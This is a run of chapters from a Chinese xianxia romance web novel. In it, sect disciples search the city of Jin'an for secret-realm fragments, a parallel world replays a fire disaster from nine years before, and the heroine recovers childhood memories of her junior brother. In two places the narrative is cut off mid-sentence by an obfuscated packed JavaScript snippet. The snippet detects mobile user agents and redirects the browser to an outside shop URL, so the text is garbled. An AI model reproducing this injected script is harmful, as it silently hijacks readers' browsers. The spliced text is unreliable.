如今在天翎宗的看守下,以命相搏的封印被人悄无声息地破开,影响整个天下的归墟秘境也消失得无影无踪。 天翎宗如果不能妥善解决此事,必将遭到天下人的谴责。 “浮屠城的封印破开后有个自毁机制,将原本完整的归墟秘境变成了一堆碎片,随机送入人间。” “三庭商议后,决定派出三支小队,下山搜集这些碎片。” 话毕,楼溪滕递给她一本册子。 册子的首尾页均为空白,中间嵌合包含了一张地图。 楼明月认得这东西。 这是天翎宗独有的“执事录”,是在接到外派任务时才有的东西,分天、地、玄、黄四个等级。 扉页写上执行任务的人员名单,中间是负责指引的“星信地图”,待任务完成后,则在末尾附上任务执行过程中遇到的情况。 有无死伤、叛逃者、消极怠惰者以及奇遇新境况。 这些都将在事后送入稽查司,由稽查司审查后进行奖惩。 楼明月打开了册子,扉页首行第一个名字就是自己。 这意味着,这次任务将由她带队。 然而除了她的名字以外,剩下的却是一片空白…… 楼明月顿了顿,双眼微睁,有些不可思议。 “师父,我一个人去吗?” 楼溪滕轻笑一声。 “怎么可能,事发突然我没来得及写全。” “周漾有经验,让他跟着你去我好放心。你大师兄……整天在我面前闲着也讨人烦,就让他下山去。” “还有一件事……” 楼溪滕眼神微暗,语气冷漠了些。 “拂雪说,每支队伍里最好添一位圣山弟子。我思来想去,就让那丫头跟着你吧,不必费心,留她一命便罢。” 能让楼溪滕垮下脸这般冷漠的,也就只有从小被送入三圣山的茯苓了。 楼明月知道师父是嘴硬心软,俯身回道:“师父放心,我一定会照顾好茯苓的。” “还剩下几个名额,你就自己拿主意吧。” 她摆了摆手,起身离去了。 楼溪滕走后,沉默多时的顾钧寒终于抬起头。 “师姐要下山,带上我一起吧。” 楼明月拿册子的手一顿,很快回绝了他。 “你重伤未愈,不适合出任务,就待在翠微山安心养伤吧。” 楼明月走到他房间的书案前,先将册子摊开,又取墨细细研了片刻,随后提笔,将周漾、贺玄音、茯苓三人的名字逐一写了上去。 她一笔一划地写着,丝毫没注意到身后逐步逼近的顾钧寒。 他赤脚踩在地上,一袭墨发倾泻而下,披散在线条分明的肩背。上身缠着一圈圈纱布,冷玉般的肌肤和腰腹狰狞的疤痕若隐若现。 纸上压下来一道黑影,他的身子也从后贴近。 楼明月手中动作一顿,眼中闪过一抹惊诧,想要回头时才发现已经被他圈住。 顾钧寒趁机夺过她的笔,龙飞凤舞地在空白处添上了自己的名字。 他轻笑一声,灼热的呼吸扑洒在她耳后。 “师姐就是不让我去,我也会偷偷跟去,索性就直接加上我的名字吧。” 楼明月震惊于他的无耻,定睛看了一眼他签的地方,瞬间平静下来。 “哦,你签的是追责人的位置,任务失败可是要挨庭杖的。” 他没被吓退,眉头一挑,反而有些得意。 “是吗?” “那正合我意,我是追责人,师姐撇下谁都不能撇下我。” 楼明月气笑了。 “你以为这是什么好差事吗?” “天字级任务,稍有不慎就会殒命,不让你去是为你好。” 顾钧寒沉默地盯着她,黑而沉的双眸带着几分审视的意味,仿佛早就把她看穿,勾了勾唇,意味不明地笑着。 姣姣,在撒谎。 不过……她至少知道自己爱听什么,肯说这些谎话去哄他。 姣姣,对他还是很上心的。 他开口,一字一句直白地道出她心里的真实想法。 “师姐,你根本不担心我会受伤还是殒命,你就是单纯的不想看见我——” 楼明月闻言心底倒吸了一口凉气。 被戳破后,脸色有些难看。 邪神那么厉害,只要他自己不作死,谁能伤的了他? 自然也用不着她去担心安危。 伏心树显形后,她对顾钧寒的厌恶虽然没有再浓烈到泛起杀意,但在一些事情上,还是会下意识地去抵触他。 顾钧寒声音低缓,带着某种蛊惑的意味,偏咬字极重道:“你越是抗拒我,才越应该和我待在一起。” 他眉眼微扬,一脸人畜无害: “比起被那棵树控制,我相信,师姐肯定更愿意跟我待在一起吧?” 楼明月:……其实两个都不愿意。 她蹙着眉头,态度还是有些冷硬。 顾钧寒瞥了一眼地图,眸中闪过一抹怔然,随即眉头一挑。 去的地方正合他意。 “我们第一次见面,就在中州。” 楼明月闻言一愣。 “师姐,我可以带你去那里,触景生情,也许你能想起来什么。” 中州…… 楼明月脑中疯狂回忆着,却找不到一丝一毫与中州有关的记忆。 “我没去过中州。”她语气生硬。 谁知道他是不是在诓骗自己? 顾钧寒对她的反应意料之中,轻轻“嗯”了一声,语气十分温柔。 “你只是忘记了而已。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065589|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我在中州见到师姐的第一面,就决定一辈子追随师姐。” 楼明月闻言心口一紧,呼吸像被什么攥住似的微弱。他的话太过突兀,让她的思绪猛地停住,只剩下震惊在心底蔓延。 “追随?” 她不可思议地重复了一遍。 他颔首,动作不大,却带着不容置疑的笃定,眼神坚定而认真,蕴含着已经沉淀了两辈子的心绪。 欢喜易散,情爱浅薄。 所以,我说追随。 “我愿意追随师姐,生生世世,寸步不离。” * 次日,天翎宗。 送行的鼓声响起,所有人都做好了出发的准备。 此次收集归墟碎片,三宫各自派出了一支队伍。 太清宫以楼明月为首,玄英宫的温珒怀,还有少微宫的陆泊禹。 她们手中的三份星信地图,本属于一个整体,每队闪烁的位置不一样,但相互之间有一定的联系。 楼明月手中这份地图,显示的第一个位置在中州晋安。 中州是人族聚集的地方,晋安又是王族的都城,相对来说比较安全。 尤其与抽中瀛洲妖魔之地的温珒怀,和靡日末路谷的陆泊禹相比,他们算是十分幸运的。 但这不代表他们能一直幸运下去,因为归墟碎片远不止区区三个,星信地图的位置分配则全然随机。 第一次幸运,不代表能一路幸运。 楼明月本以为,多了个顾钧寒已经够棘手了,谁知道出发日,一直在三圣山待着的陆南星也追了过来。 “执事录上没有你的名字。” 楼明月神情无奈道。 陆南星的伤口已经恢复了,身上背着大包小包的行李,脸上洋溢着兴奋,亮着一双星星眼看向她。 “我知道,但我是师姐的近侍,师姐去哪儿我就要去哪儿的!” “更何况晋安是我家,去了我也可以好好招待你们啊!” 周漾扶着下巴沉思,想到这小子来昆吾山不过半个月就接连出事,拍了拍他的肩膀,语重心长道:“你这人运气忒差,还是别连累你明月师姐了。” 不明其意的茯苓推了他一把。 “你干嘛这么说人家?” 她双手叉腰站在陆南星身前,身形娇小气势却分毫不弱。 小圆脸上眉头紧蹙,杏眼明眸,一副正义凛然的模样。蝴蝶鬓边垂着的两股小辫子,也随着她的动作上下轻晃。 “人家南星可勤快了!他在山上每天都帮我浇水看园,比你这个只会偷药的懒汉强多了!” 周漾嘁了一声,趁她不注意,用折扇敲了敲她的脑袋。 “你个小丫头懂什么,俗话说得好,不怕人笨,就怕人笨还勤快!” 茯苓吃痛地捂住脑袋,粉面桃腮的脸瞬间皱成一团。 周漾还要再度偷袭时,扇子被贺玄音一把夺了过去。 “啪嗒”一声,折成两半。 周漾瞪大双眼,看着地上被“腰斩”的折扇,瞬间怒不可遏。 “贺玄音!那可是邶西域新进的玉扇,你个拉偏架的你赔我!” 贺玄音身形端直,任他怎么鬼哭狼嚎,都一脸视若无睹的淡然。 陆南星耷拉着脑袋,已经被周漾的话伤到抬不起头,局促地摩挲着手指。 楼明月看着他这副可怜兮兮的模样,最终还是动了恻隐之心。 毕竟,陆南星是她惹出来的变量。 她得对这个十五岁的小孩儿负责。 “你不在执事录的名单里,若遇到了秘境就在外面放风,能做到吗?” 陆南星闻言一惊,猛地抬起头。 “我能!我一定好好放风!” 顾钧寒瞥了他一眼,在心底冷哼了一声。 他袖口的小绒蜂探出了脑袋,翅膀嗡嗡振动没两秒,就被他一个脑瓜崩弹了回去。 经过楼明月上次的敲打后,他决定暂且不去找陆南星的麻烦。 但前提是,他得不碍到自己的眼。 13. 第 13 章 世上修仙宗门和世家居住的地方,被统称为“玉京”。 瀛洲面积最大,但一片混沌,是妖与魔横行之地;中州四十八城,居住着没有灵脉的人族。 另有奇山一座,名唤尧光。 山势巍峨,横亘千里,如大地脊梁撑起苍穹,将整个玉京与中州隔断。 玉京的整个地势要远高于中州,低处之人抬头仰望,只能看到一座被云海包裹、若隐若现的奉仙台。 所以在中州人的心里,玉京也是一个神圣的存在。 只要能翻过眼前的尧光山,抵达圣地玉京,就离成仙化神不远了。 对地域的简单划分,不能代表资质的绝对统一。 圣地玉京,也会出现天生熄脉,不宜修行者;庸地中州,当然也有灵脉全整,根骨绝佳者。 所以,玉京每十年就会在中州展开一场“测资招生”的活动。 顾钧寒和陆南星,先后都是通过测资招生才来到的天翎宗。 陆南星家在晋安,出生工匠世家,父母皆是是王族有名的匠术师。 一行人抵达晋安城时已是宵禁,守城的士兵拦着不让进,在看到天翎宗的执事录后,才毕恭毕敬地放了人。 街上虽然没人,看起来却并不冷清。家家户户门前都扎了鱼灯,只等着第二天游街。 陆南星看到这些变得兴奋起来,一个人跑在前面,对这些鱼灯又摸又拍。 周漾瞥了他一眼,不徐不慢地走在后面。 “你小子瞎蹦跶什么,小心被别人当成贼抓起来。” 陆南星回头,高兴道:“这次下山赶上我家的鱼灯节了,明天就是呢!” 茯苓好奇地凑了过去,戳了戳他手里的鱼头灯。 “黑漆漆的,什么也看不清呀。” “等明天夜里灯亮了就好看了,到时候我送师姐一盏最大的!” 楼明月看了看这些鱼灯的造型,竟也觉得眼熟。 火树银花,张灯结彩……这些画面在她脑海里一闪而去。她怔了一秒,再想回忆时,却被强行打断了神思。 睁开眼,只有幽暗的长街和尚未完整的灯架。 顾钧寒站在一旁,将她的反应尽收眼底。 看到她痛苦地蹙起眉头,他拍了拍她的背,不轻不重的力道,却莫名有一股安全感。 “等明天夜里,灯亮了就好了。” 他也这么说,楼明月略有不解。 城中宵禁行动不便,几人决定暂且留宿。 陆南星叩响了家门,不一会儿的功夫就有小厮回应。 一听说是小少爷回来了,立马打开了府门相迎,原本已经熄灯就寝的陆府,再次热闹了起来。 陆南星的父亲叫陆远,听说他回来后,只套上了一层深色外衣,便慌忙赶到了正厅。 他看到陆南星,整个人瞪大了双眼,没有想象中的温情,反而十分肃重。 “你不是在玉京吗?”他拔高声音质问道。 “你是被人家赶出来了?还是自己耐不住苦跑回来了?!” 陆南星被吓得一哆嗦。 眼看他爹要上手,连忙解释道:“爹,我没有!我才没被赶出来,我是来这儿出任务的!” 匆匆赶到的陆母,连忙拦下他的动作,将陆南星护在身后。 “都说了我儿子是栋梁之材,怎么可能被人家赶出来!你以为都像你那几个侄儿一样不争气?” 陆老爷松了口气,心里一块儿重石落下。 “来,快让娘看看。” 雍容华贵的妇人拉过他的手,抚着他的脸颊,满脸心疼。 “娘的小心肝儿啊,这一去半个多月吃了不少苦吧?怎么都瘦成这样了!修仙问道也不能不给我儿子饭吃吧!” 陆老爷眉头一蹙,斥责道: “胡说什么,人家有仙气护体,那叫辟谷!” 暗处传来两声憋不住的嗤笑。 侍女匆匆点燃了灯盏,两人这才看清除了陆南星以外的一行人。 “陆夫人放心,天翎宗有食斋,不会饿到你家小心肝儿的。” 周漾随意地坐在椅子上,翘着二郎腿,一身的流里流气,完全不像是玉京的修士,惊得对面两人说不出话来。 贺玄音踢了他一脚,力道不小,疼得他立马闭嘴。 他转而向两人躬身作揖。 “在下天翎宗太清宫大弟子,贺玄音。更深露重,抱歉叨扰二位了。” 陆南星也反应了过来,连忙介绍道:“爹娘,这几位都是我同门的师兄师姐!” “这位就是大师兄。” 两人毕恭毕敬地回礼。 在心里默默点了点头,这人看起来,倒有点儿仙风道骨的意思。 “这位是二师兄,姓周。” 陆老爷看着他这副不靠谱的样子,眉头一跳,硬着头皮叫了一句“周道长”。 茯苓起身拆台道。 “陆老爷不必这么客气,我二哥还担不起一句道长呢。” 陆南星眉眼上扬,拉了拉母亲的袖子,隆重介绍道:“这位就是茯苓师姐,我上次被毒蜂蛰,多亏茯苓师姐照顾呢!” 茯苓这个名字,两人不是第一次听说,之前总在他寄回家的书信里看到。 本以为是个沉稳老练的女医修,没想到真人竟这般年轻。面若桃花,眼如春杏,浑身透着一股子机灵气。 和他之前信里描述的,完全不同。 “这位是明月师姐,是明月师姐选了我做近侍我才能留在天翎宗的!” 楼明月闻言轻笑一声,摇了摇头。 “纵然没有人选你,你通过了竞比,也能留在外山做一名普通弟子。” 他挠了挠脑袋,嘿嘿笑了两声。 “我还是更乐意跟在师姐身边!” 狗腿子。 顾钧寒在心里默默翻了个白眼。 陆老爷想到什么,神情忽然变得激动起来,情不自禁地往前迈了一步。 “明月师姐……可是太清宫仙人转世的那个明月仙子?” 楼明月神情微僵,面露难色。 果然,人们最先注意到的永远是她虚幻的头衔。 可这种名不副实的头衔,现在捧得越高,将来跌落云端,摔得就越狠。 以她现在闻名天下的程度,日后真身暴露,非得粉身碎骨不可。 “小儿能拜在仙子脚下求学,当是三生有幸,能得仙子青眼垂怜,更是家门荣光啊!” 陆老爷激动地要跪地叩拜,被贺玄音眼疾手快地扶了起来。 周漾看着这幅场景凑在茯苓耳畔,小声嘀咕道:“你看,明月都是仙子了,我作为仙子的师兄,怎么就不能称一句道长了?” 茯苓没说话,白了他一眼。 贺玄音还在和陆老爷拉扯,顾钧寒走了过去,冷着脸一把拽住他的胳膊。 “太清宫不兴跪拜,还请自重。” “还有,仙子名头是世人强加,我师姐不喜欢别人这么叫她。” 陆老爷被他罗刹般的气质吓到了,动作僵硬,一时间愣在原地。 “这位、这位是顾师哥。” 陆南星连忙解释道。 “爹你别害怕,顾师哥只是长的凶些,但是个面冷心热的好人。” “我初到昆吾山,有好多规矩不懂,都是顾师哥教我的!” 顾钧寒“搀扶”的手还没松。 他头冒冷汗,直打哆嗦: “多、多谢对小儿的照拂。” 简单的介绍完毕后,几人话入正题。 星信地图上显示,有一块儿归墟秘境的碎片出现在中州晋安。 秘境碎片承载的东西不一,幻化成的形态自然也不尽相同。 几人先是向陆老爷打听了,晋安城最近有没有什么异常。 他摇头否定,说今年是个祥年。 没有什么天灾瘟疫,就是偷盗抢劫,也比往年要少。 晋安城里没有爆发出怪物袭击事件,说明这一块儿归墟碎片里包含的不是墟魇兽,而是“并行世界”。 收复含有“并行世界”的归墟碎片,远比墟魇兽要麻烦得多。 并行世界的存在,是人心底的执念在作祟。 人的执念在现实世界只能成为遗憾残缺,但在归墟却会变成一股力量。 这股力量会在同一时空,衍生出第二个世界——因果被执念改变的世界。 人每多出一份执念,归墟秘境就会衍生出一个并行世界。 并行世界一旦与现实世界相撞,便会出现”并入”现象,将现有的一切全部毁灭。 想要收复并行世界,就要找到这个世界里被执念改变的因果,然后拨乱反正,让碎片失去“独立可存性”。 陆老爷见他们没有思绪,便道:“诸位仙长,不如就留下来在府上多住些日子,慢慢找便是。” “明日是鱼灯节,一年也赶不上的好热闹,我叫星儿给诸位备些俗银,可在城中随意开销游玩。” 茯苓第一次来中州,闻言心动地点了点头。 陆南星想起什么,欸了一声,奇怪道:“爹,今年的鱼王灯不在院子里扎吗?” 鱼王灯,是整个鱼灯会最壮观瑰丽的一具灯,会有一群人扛着它绕城游行,通常由技术最精湛的工匠负责。 得到鱼王灯的制灯权,是一种实力的冠冕,也是来年买卖兴盛的关键。 陆老爷叹了口气,“今年咱家没选上,这差事移给城南李家了。” “怎么可能,谁能比得过我爹的手艺!” “那也架不住人家有奇招啊。” 陆母道:“怎么人家就那么好命,路上走着也能捡个宝贝。奉给安王一看,别说制灯权了,要什么没有?” “哪儿像你爹这个窝囊样,他比李家的先看到那宝物,愣是绕过去,瞧都不晓得瞧一眼!” 陆南星讪讪笑着,安抚地拍了拍母亲,“是什么宝物啊,安王也稀罕?” 陆老爷:“嗐,说白了,也就是一面镜子。” 周漾闻言乐了。 “真没见识,镜子有什么好宝贝的,是镶了玲珑心,还是嵌了夜明珠啊?” 茯苓回怼道:“你连一把破扇子都宝贝,还好意思说人家。” “我再说一遍,我那是邶西域运过来的极玉扇!你个足不出户的小丫头,知道往返一次邶西域要多久吗?” 茯苓朝他吐了吐舌头,随即躲在大师兄身后,周漾一看瞬间哑火。 “普通镜子是没什么特殊的,就是那镜子里面有人呢,还不止一个!” “有人?” 楼明月和贺玄音对视一眼。 “是什么人啊?”楼明月问道。 陆老爷摇摇头:“我就看了一眼,什么人我不知道。但是里面的人是听不到我们说话的,她们走来走去,跟我们没什么两样。” 周漾收起嬉笑,神情严肃了起来。 他道:“或许我应该这样问,里面不止有人吧,更像是另一个世界,镜子里的世界?” 陆老爷连连点头。 楼明月:“这面镜子现在何处?” “城中心的金明台,安王说要在明日灯会上给大家开开眼。” 她点了点头。 “行, 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她看着眼前面色沉重的顾钧寒,兀自问道:“你也是从中州来的,你的家也在这里吗?” 他笑了一声,神情没那么凛冽了。 “算是吧。” 他指了指眼前逼仄的两条街道。 “那就是我家。” 楼明月顺着他指的方向看去,眉头轻蹙,不太明白他的意思。 “我以前跟他们一样。”他又指了指路边躺着的几个乞丐。 这下她彻底明白了。 顾钧寒以前……是个小乞丐? 怎么可能呢,楼明月有些震惊,邪神的前身是一个街边乞丐,那他又是怎么成为邪神的呢? 顾钧寒偏眸看着他,嘴角微微上扬。 “你知道我为什么要来天翎宗吗?” 她闻言一怔,摇了摇头。 她一直都想知道,对方好好的邪神殿不待,为什么要卧底在天翎宗。 “因为这个,因为别人对我的一句承诺。” 顾钧寒递给她一个玉牌,玉牌看上去已经有些年头了,就算被保护的再好,也抵不住边角的磨损。 但上面具体刻了什么,还是能看得清的———太清宫弟子,楼明月。 这是天翎宗旧批次的下山令,这种玉牌样式的,早在五年前就已经被废弃了。 而顾钧寒手里的这个,年头要更久。 楼明月轻轻摩挲着玉牌,脑袋一痛,尘封的记忆被解开,眼前街巷的画面与脑海中的画面逐渐重合。 大概是十年前。 八岁的她第一次来中州,因为太过兴奋和两个师兄走失。 玉京修士在中州不可使用术法,她只能在街上慢慢寻找周漾和贺玄音的身影。 她来到西街,路边一个小乞丐被孤立似地赶到雪棚外。 对面还有几个孩童朝他扔雪球,一下比一下猛,比谁砸得更准,比谁能让这个怪胎喊疼。 小乞丐不会说话,不会生气也不会躲,眼神空洞坐在路边。 他几乎要被污雪掩埋,皮肤上大片冻出的乌紫,像是死人才有的尸斑。额上被冰凌砸出的肿包泛着血光,边缘已凝成紫黑。 小明月很生气,挡在他身前,阻止那些顽童的动作。 “啪嗒”一声,她也被雪球砸了。 实心的雪球带着十足的力道,借着寒风砸在人身上很疼,又冷又疼。 被砸到眼睛的小明月瞬间眉头紧拧,但想到自己可是玉京的修士,她吸了吸鼻子,又将眼泪憋了回去。 真搞不懂,那个小乞丐是怎么做到一声不吭的? 她还手,一招下去,将那些砸人的小孩儿全部放倒。 人群瞬间爆发了骚乱,都说这里有打人的妖怪。 小明月不解地摸了摸自己的脑袋,她哪里暴露妖印了嘛? 周漾闻讯赶来,看着她掌心未散的灵气,瞬间明白了是怎么回事儿。 “小祖宗!不是说了不能用术法的吗?被你姑姑知道肯定会撕了我的!” 她的姑姑,就是师父楼溪滕。 “是他们先欺负人的!” 她理直气壮地昂了昂脑袋。 周漾瞥了一眼路边的顾钧寒,对情况了然于心。 “你就是护得住他一时,也护不了他一世,不要随意插手人族的事!” 他拽住她的手,要将她带走。 楼明月拗不过他,回头看了他一眼,最后将自己腰间的玉牌匆匆扯了下来,扔在他怀里。 她说:“你来太清宫做我师弟吧,这样我就能保护你一辈子了!” 顾钧寒闻言愣在原地,空洞的眼神终于有了些变化。 他低头,沉默地看着手里的玉牌。 太清宫弟子,楼明月。 他被人驱赶过很多次, 这是第一次,有人迎接他的存在。 一潭死水的心神,被一片微风拂过的竹叶触动。圈圈圆圆,轻浅的水纹在心底荡漾开来。 不论这个人是有意还是无意,都唤醒了邪神作为人躯的“感知”。 他不再是那个不知不觉不感的怪胎。 他有了五感,知冷知热,会疼会痛,有了一切爱恨嗔痴的基础。 同年三月,他通过测资招生进入太清宫,成了一名普通的外山弟子。 …… 此刻,阁楼顶上。 想起这些的楼明月恍然大悟。 原来,这个师弟, 是她亲手招来的。 14. 第 14 章 次日,鱼灯节。 残阳刚歇,天还微微暗时,城中百姓就已经等不及地拿出了自家的鱼灯。 而那具备受期待与瞩目的鱼王灯,尚且被红布遮掩,只待酉时夜幕落下,燃灯游街。 几人要找的那面镜子,就放置在鱼王灯旁,同样被红布盖住了真容。 鱼王灯开幕前,陆南星带着他们在热闹的街市游逛。 茯苓和他走在最前面,第一次来中州的她看什么都稀奇,不论想要什么,对方都能大手一挥给她包圆。 周漾有收藏宝物的癖好,但以他的眼界标准,在人族集市上基本无望。 贺玄音不是第一次来这里,很快就融入了人群。 夜色初沉,长街灯火次第亮起。 鱼龙形的彩灯在风中摇曳,鳞片映着暖光,仿佛活物一般。 楼明月盯着那些被竹竿高高挂起的鱼灯,莫名觉得很眼熟。 好像……她也应该有一盏。 顾钧寒看了一眼她的神情,对她的心思了然于心,叫住了卖灯的老伯。 “师姐,你喜欢哪个?”他问。 楼明月有些犹豫,老伯以为她没看到喜欢的,抱着挂竹转了一圈儿,各种形制的彩灯都在她眼前一一闪过。 她瞳孔微缩,脑海闪过一幅画面。 “灯…炸了。” “什么?”老伯闻言一惊,抬头仔细检查了自己的彩灯,并未发现异样。 见她满脸惊恐,便安慰道: “小娘子放心,我这儿用的都是上好的桑皮纸,不会炸灯的!” 顾钧寒睁大了眼,神情变得有些激动,“师姐,你是不是想起什么了?” 她双眼失神,将自己脑海中看到的的画面逐一描述。 “有火星落在鱼灯上,灯炸了,整条街的鱼灯都被火星点燃了,所有人都困在火海里——” 老伯顺着她的话想了想,随后摸了摸胡子道:“那都是九年前的事了。” “想必娘子是在那场事故中受过伤,留下了癔症吧?” “九年前……” 楼明月眉头紧蹙,神情严肃。 “九年前发生了什么?” 他道:“金明台之变。” “先皇要铸一把浴火剑,由本朝最顶尖的匠师——陆柳两氏合力铸剑。他们把剑池搬上了金明台,要完成最后一步‘淬火’时,却不想砰的一声……” “砰”的一声震响, 金明台生变,打断了那老伯的话。 他看着熟悉的方向,传来的熟悉的爆炸声,呼吸顿时一滞。 金明台上,那面含有“并行世界”的镜子,不知为何突然炸裂。 巨大的震响叫停了这场欢歌,所有人屏息凝神,目光惊恐地看向金明台。 接着,大片大片的火星迸发天际,几乎要点燃整个夜幕,和九年前那场灾祸如出一辙——— 一簇簇腾跃翻滚的异火,落地一瞬便轰然炸开,化作无边火海。烈焰舔舐着空气,发出刺耳的嘶鸣声。 若不幸飞溅人身,皮肉则当场被灼穿,血沸肉糜,痛感顺着经脉不断蔓延至心脏。 方还温馨热闹的街市,顷刻间乱作一团。 人群四处奔逃,空气里弥漫着浓烈刺鼻的血腥气。 “南斗火官除毒害,離,北斗水神滅凶災。以我清净心,奉与双官殿,牵引天河水,护!” 楼明月双手掐诀,立刻施展了双官御水术。 她指尖冒出一道淡蓝色水纹,看起来萤萤弱弱,却只在须臾便召动这片天地的所有水汽,聚作一方屏障,将焰火抵挡在外。 水罩外的焰势并未消退,反而愈挫愈勇。 赤红火焰翻腾着,像猛兽张开了獠牙,不多时就要将这层防护罩吞没。 “没用的…没用的,这里面掺了火曜石的粉末,你们灭不掉它的!” 跌坐在地的老伯满脸惊恐,情绪崩溃道:“这分明是九年前的场景…” “九年前,有人在铸剑池里投入火曜石的粉末,火曜石爆发导致灯会死伤无数,柳氏满门抄斩!陆氏举家流放!可这已经是九年前了啊!” “莫非、莫非是我得了癔症?还是我早就已经死了,轮回在这冤死地?” 楼明月闻言一惊,错愕地看向火场。 这里面掺了火曜石,难怪双官御水术都拿它没办法…… 火曜石至刚至烈,是神域司宝阁的藏物,因能量紊乱失控坠落人间。 后来,一部分被神域收回,另一部分被人私自炼化,焚山而亡。 这么多年过去了,没想到至今仍有残骸被歹人私藏。 “明月——” 匆匆赶来的周漾急切道: “碎片崩塌了,这里马上就要被并入了!” 并入,就像当初天翎宗的浮屠城一样。 衍生而来的并行世界将取代现实世界,现有的一切全部毁灭,成为归墟秘境的载体。 楼明月:“必须赶在它并入前将它收复!” 顾钧寒闻言摇头:“来不及了,另一个世界的人已经开始出现了,他们一出现我们就会被抹杀!” 楼明月抬头望去,长街上突然闪现出许多道人影。 他们会不定时不定点地突然出现,也会突然消失,如同鬼影般变幻莫测。 这说明,两个世界已经开始合并了。 待合并完毕,下一步就是抹杀,抹杀所有原本世界的人。 她想起什么,蓦然看向周漾。 “二哥,如果这两个世界之间有时差呢?“ 周漾闻言神情一愣,“差多久?” “九年,现在爆发的异火是九年前金明台的一场灾祸。” “九年……” 周漾托着腮帮子思考了一下。 “在时差作用下,两个世界的排斥性没有那么强,抹杀不会立即执行。” “如果这时候,有个人能控制时盘为你们争取时间,收复就来得及——” 贺玄音站在他们身后,蓦然出声。 身后跟着两个负伤后“灰头土脸”的小朋友,茯苓和陆南星。 贺玄音口中的控制时盘,并不像听起来那么简单。 两个世界合并,互相排斥的物与属性有很多,唯一趋同的是时间。 是相互融合的时间。 他要以“时间”为纽带,将两个世界相隔离,把触发“抹杀”机制的排斥性降到最低,留给楼明月收复秘境的时间就越久。 具体操作就是,关注每一个人的行动轨迹,蒙蔽他们的视觉、听觉、触觉,让两拨人即使处于同一空间,也不会察觉异端。 “那么多人,师兄一个人能行吗?” 楼明月担心地看向贺玄音。 周漾倒是不嫌事大:“你放心,他比你多活了十几年,这要是应付不过来岂不是白活了?” 贺玄音瞪了他一眼。 “那我们俩换,反正你也没比我少活几年,你来就是。” 周漾摆摆手不干: “那怎么行?你可是大弟子,我怎么能抢你的风头——” 贺玄音眉头一跳,攥着拳头忍了又忍,“不干就闭嘴!” “……” “……” 随身携带的日冕盘,被贺玄音一手抛至高空。 随着他供给的灵气越来越多,日冕盘最终停滞半空,开始飞速运转。 两个世界被隔离的同时,贺玄音施法,独将楼明月几人,送到了另一个世界,送到了九年前的中州晋安。 现在, 是九年前的金明台之变。 金明台成了一片废墟,人群四处逃窜,到处都是火光映天,血腥污秽。 几人被巨大的人流冲散,顺势分头行动,寻找这个世界被改变的因果,和那份作祟的执念。 执念在这儿是一种力量,是可以被玉京正统修士感知到的一股力量。 不过……楼明月不行。 她体内有一半大妖的血脉,算不上正统修士,还达不到感知的程度。 楼明月打算先去爆炸源头找找线索,她逆着人群往金明台走,两侧奔逃的人群时不时撞上她的肩膀。 其中有一个小姑娘,个子不高,跑的急匆匆的,两人措不及防地撞上,她踉跄着退后,对方捂着脑袋跌坐在地。 “你没事儿吧?” 楼明月弯下腰,想拉她起来。 “好疼啊……” 小姑娘叫唤了一声,吸了吸鼻子,放下了捂着脑袋的手,自己爬了起来。 “不过是我先撞到你的,对不起了大姐姐,我还有事就先走了!” “等等!” 楼明月忽然拽住了她。 看清她容貌的那一刻,楼明月瞳孔骤缩,叩住她肩膀的手止不住地发抖。 “你怎么会出现在这里?” 小姑娘闻言一愣,茫然地眨了眨眼,歪着脑袋疑惑地看向她: “姐姐,我们认识吗?” 认识,怎么可能不认识。 这就是九年前的她,九年前只有九岁的楼明月。 中州金明台之变的时候,自己竟然也在场? 她言之凿凿地跟顾钧寒说自己没有来过中州,没想到短短几天,就发现自己不仅来过,还不止一次地来过。 小明月灵气一出,施法挣脱了她的束缚。 “你一定是认错人了,我可是从玉京来的修士!我得去找我师弟了,这里很危险,你自己也躲着点儿吧!” “你…师弟?”楼明月有些惊讶。 小明月没有回答,早已掠过她,边跑边找寻师弟的身影。 “师弟——” “师弟你在哪儿啊!” 楼明月看了一眼远处已成废墟的金明台,最终选择跟上小明月的背影。 她跑的很急,小小的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在这个并行世界里,所有既定的事情,所有不是被执念改写过的事情,她都不能改变。 比如,这场由火曜石引发的火灾;再比如,顾钧寒腰上那片狰狞的疤痕。 原来,他的疤是这么来的。 被喂下许多丹药的顾钧寒并没有好转,他被小明月抱在怀里,呼吸和脉搏都十分微弱,阖上眼等待着死亡。 他不可能现在就死的…… 楼明月这么想,却还是忍不住蹲下,去探他的脉搏。 “怎么办…我师弟要死了……” “都是我不好,我不要什么破灯了!我只要我师弟好好的!” 小明月嚎啕大哭着,心里悔恨愧疚到了极点。 看到这副场景,楼明月也不禁红了眼眶。 她眼神微滞,摇了摇头。 “他不会死的。” 即便摸到了断息脉,她心里仍然坚定自己的想法。 他不可能死在这儿,他这辈子分明是被自己亲手杀死的…… 小明月擦干了眼泪,眼神格外坚毅,似乎下定了某种决心。一只手悬在胸前,召出了自己的那颗妖珠。 楼明月瞳孔骤缩,瞪大了眼睛。 她要用妖珠的力量,去护住顾钧寒的心脉。 “楼明月!” 她忍不住出声。 她看着那个楼明月,看着九岁的自己,带着震惊和不解发问。 “妖珠是很重要的东西,你怎么能把它给别人?!” 小明月被吼得一愣,惊讶于她怎么知道自己的名字?怎么知道这是妖珠? 但她没时间想那么多了,师弟的体温和生息正在不断流逝。 她没有一丝犹豫,直截了当地把妖珠渡给了顾钧寒。 “我知道妖珠很重要,妖珠是妖的命脉嘛,我是半妖也不例外的。” 小明月揉了揉眼睛,闷声道。 “可是师弟在我心里更重要啊。” “我说过会保护他一辈子的!” “……” “……” 短短两句话却振聋发聩,在楼明月心里不停地回荡、叩问。 